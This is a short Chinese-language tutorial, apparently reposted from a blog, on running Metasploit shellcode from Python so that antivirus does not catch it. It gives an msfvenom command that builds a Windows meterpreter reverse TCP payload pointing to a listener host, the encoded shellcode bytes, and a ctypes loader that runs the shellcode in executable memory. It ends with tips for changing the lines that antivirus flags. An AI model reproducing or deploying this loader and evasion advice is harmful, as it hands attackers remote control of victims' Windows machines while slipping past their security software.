缺點(diǎn)：

編譯成exe以后體積過大

實(shí)現(xiàn)：

msf生成shellcode代碼：

msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c

將payload給copy下來，去除引號。

\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x63\x42

\x6b\x69\x31\x41\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x69\x33

\x49\x6f\x44\x37\x64\x4b\x4a\x6a\x48\x2f\x72\x44\x78\x68\x66

\x41\x49\x73\x49\x4d\x48\x50\x44\x51\x48\x48\x34\x76\x4a\x53

\x56\x34\x74\x53\x45\x49\x74\x4b\x50\x49\x74\x4d\x45\x58\x6a

\x6a\x53\x41\x48\x52\x55\x59\x74\x5a\x49\x41\x48\x54\x69\x30

\x6b\x59\x34\x7a\x70\x4a\x69\x7a\x53\x4c\x41\x64\x59\x78\x2f

\x36\x7a\x42\x7a\x77\x30\x42\x78\x7a\x6a\x67\x64\x66\x59\x44

\x66\x66\x67\x37\x66\x53\x52\x31\x35\x46\x69\x4c\x57\x43\x51

\x42\x30\x32\x61\x4c\x44\x45\x75\x4c\x57\x42\x77\x42\x30\x34

\x73\x45\x69\x77\x48\x51\x69\x55\x51\x6b\x4a\x46\x74\x62\x59

\x56\x6c\x61\x55\x66\x2f\x67\x58\x31\x39\x61\x69\x78\x4c\x72

\x6a\x56\x31\x6f\x4d\x7a\x49\x41\x41\x47\x68\x33\x63\x7a\x4a

\x66\x56\x47\x68\x4d\x64\x79\x59\x48\x69\x65\x6a\x2f\x30\x4c

\x69\x51\x41\x51\x41\x41\x4b\x63\x52\x55\x55\x47\x67\x70\x67

\x47\x73\x41\x2f\x39\x56\x71\x43\x6d\x6a\x41\x71\x41\x4d\x38

\x61\x41\x49\x41\x44\x51\x57\x4a\x35\x6c\x42\x51\x55\x46\x42

\x41\x55\x45\x42\x51\x61\x4f\x6f\x50\x33\x2b\x44\x2f\x31\x5a

\x64\x71\x45\x46\x5a\x58\x61\x4a\x6d\x6c\x64\x47\x48\x2f\x31

\x59\x58\x41\x64\x41\x72\x2f\x54\x67\x68\x31\x37\x4f\x68\x6e

\x41\x41\x41\x41\x61\x67\x42\x71\x42\x46\x5a\x58\x61\x41\x4c

\x5a\x79\x46\x2f\x2f\x31\x59\x50\x34\x41\x48\x34\x32\x69\x7a

\x5a\x71\x51\x47\x67\x41\x45\x41\x41\x41\x56\x6d\x6f\x41\x61

\x46\x69\x6b\x55\x2b\x58\x2f\x31\x5a\x4e\x54\x61\x67\x42\x57

\x55\x31\x64\x6f\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67

\x41\x66\x53\x68\x59\x61\x41\x42\x41\x41\x41\x42\x71\x41\x46

\x42\x6f\x43\x79\x38\x50\x4d\x50\x2f\x56\x56\x32\x68\x31\x62

\x6b\x31\x68\x2f\x39\x56\x65\x58\x76\x38\x4d\x4a\x41\x2b\x46

\x63\x50\x2f\x2f\x2f\x2b\x6d\x62\x2f\x2f\x2f\x2f\x41\x63\x4d

\x70\x78\x6e\x58\x42\x77\x37\x76\x77\x74\x61\x4a\x57\x61\x67

\x42\x54\x2f\x39\x55\x3d

將自己的代碼放入第3行的shell_code位置。

import ctypes,base64

encode_shellcode = "shell_code"

shellcode = base64.b64decode(encode_shellcode)

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)

ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))

handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)

ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

以上代碼是絕對會被查殺的，但是可以通過修改代碼繞過。思路如下，先查找殺軟查殺哪里，再修改殺軟查殺的代碼，同時(shí)保證正常運(yùn)行。提示一下，查殺的代碼再5-6行之間，對其進(jìn)行修改即可。

返回session：

免殺效果：

參考資料：

總結(jié)

以上是生活随笔為你收集整理的python 生成payload_利用Python进行Payload分离免杀的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。